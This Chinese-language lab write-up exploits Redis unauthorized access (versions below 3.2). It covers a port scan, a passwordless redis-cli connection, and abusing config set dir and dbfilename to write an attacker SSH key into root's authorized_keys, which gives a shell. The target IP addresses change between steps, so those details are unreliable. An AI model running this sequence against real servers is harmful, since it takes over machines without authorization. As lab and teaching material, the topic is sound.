redis是一个key-value存储系统,拥有强大的功能,目前普及率很高,redis是用ansic语言编写,支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的APL,reids默认端口是6379。造成未授权漏洞的原因是安全配置未作限制,redis默认情况是空密码连接。

利用条件:redis <3.2

利用原理:redis绑定在0.0.0.0:6379,且没有进行添加安全策略,直接暴露在公网,默认是空密码,可以让攻击者免密码登录redis服务。

靶机:192.168.1.123

攻击机:192.168.1.37

对靶机进行端口扫描

​​nmap -p 1-65535 -T4 -A -v 192.168.1.123

发现端口6379开放了redis服务,版本为2.8.17

攻击机安装redis-cli工具

下载

wget http://download.redis.io/redis-stable.tar.gz

仅解压

tar -zxvf redis-stable.tar.gz

配置

cd redis-stable 
make //全局生效 
cp src/redis-cli /usr/bin/

 

尝试进行redis弱口令或空密码连接,连接成功,存在未授权访问漏洞

redis-cli -h 192.168.1.123
info  	查看redis的信息和服务器信息

 

 尝试写入SSH公钥 

ssh-keygen -t rsa #生成公钥

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt #将公钥导入foo.txt文件

cat foo.txt | redis-cli -h 192.168.213.170 -p 6379 -x set hello #把foo.txt文件内容写入目标主机的redis缓冲中

回到redis-cli -h 192.168.1.123连接上并添加如下内容 

config set dir /root/.ssh    # 设置redis的备份路径为/root/.ssh/

config set dbfilename authorized_keys    # 设置保存文件名为authorized_keys

save    # 将数据保存在目标服务器硬盘上

ssh 192.168.213.188 # 连接

 可以看到成功连接,未授权访问漏洞利用成功,成功拿到shell

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐